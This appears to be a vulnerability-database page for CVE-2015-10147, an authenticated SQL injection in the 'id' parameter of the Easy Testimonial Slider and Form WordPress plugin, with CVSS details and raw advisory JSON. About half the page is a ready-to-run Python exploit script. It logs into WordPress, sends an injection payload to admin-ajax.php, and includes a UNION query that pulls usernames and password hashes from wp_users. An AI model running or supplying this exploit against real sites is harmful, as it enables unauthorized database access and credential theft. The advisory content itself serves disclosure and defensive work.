Security Vulnerability Report
中文
CVE-2015-10147 CVSS 4.9 MEDIUM

CVE-2015-10147

Published: 2025-10-29 10:15:37
Last Modified: 2025-12-19 22:16:04

Description

The Easy Testimonial Slider and Form plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:i13websolution:easy_testimonial_slider_and_form:*:*:*:*:*:wordpress:*:* - VULNERABLE
Easy Testimonial Slider and Form plugin <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2015-10147 SQL Injection PoC # Target: WordPress Easy Testimonial Slider and Form plugin <= 1.0.2 # Authentication required: Administrator or higher def exploit_sql_injection(target_url, wp_username, wp_password, injection_payload): """ Exploit SQL injection vulnerability in Easy Testimonial plugin Args: target_url: Base URL of the vulnerable WordPress site wp_username: WordPress administrator username wp_password: WordPress administrator password injection_payload: SQL injection payload to execute Returns: Response content or error message """ # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Prepare login data login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } # Create session session = requests.Session() try: # Authenticate to WordPress login_response = session.post(login_url, data=login_data, timeout=10) if 'wordpress_logged_in' not in session.cookies.get_dict(): return "Authentication failed - check credentials" # Vulnerable endpoint - Easy Testimonial plugin vulnerable_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare malicious request with SQL injection payload exploit_data = { 'action': 'get_testimonial', 'id': injection_payload # Vulnerable parameter } # Send exploit request exploit_response = session.post(vulnerable_url, data=exploit_data, timeout=10) return exploit_response.text except requests.RequestException as e: return f"Request failed: {str(e)}" def extract_database_info(target_url, wp_username, wp_password): """ Extract database information using UNION-based SQL injection """ # Payload to extract WordPress users table union_payload = "1 UNION SELECT user_login,user_pass,3,4,5 FROM wp_users--" result = exploit_sql_injection(target_url, wp_username, wp_password, union_payload) return result if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2015_10147_poc.py <target_url> <username> <password> <payload>") print("Example: python cve_2015_10147_poc.py http://example.com admin password '1 UNION SELECT...'") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] payload = sys.argv[4] print(f"[*] Targeting: {target}") print(f"[*] Authenticating as: {username}") print(f"[*] Sending payload: {payload}") result = exploit_sql_injection(target, username, password, payload) print("\n[+] Result:") print(result)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2015-10147", "sourceIdentifier": "[email protected]", "published": "2025-10-29T10:15:36.587", "lastModified": "2025-12-19T22:16:04.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Easy Testimonial Slider and Form plugin for WordPress is vulnerable to SQL Injection via the 'id' parameter in all versions up to, and including, 1.0.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:i13websolution:easy_testimonial_slider_and_form:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.0.2", "matchCriteriaId": "12A95F15-ED04-424D-BF0F-A6118BE6FAD4"}]}]}], "references": [{"url": "https://wordpress.org/plugins/easy-testimonial-rotator", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f44483df-e50d-4dcf-8a6f-499e2bd05b89?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}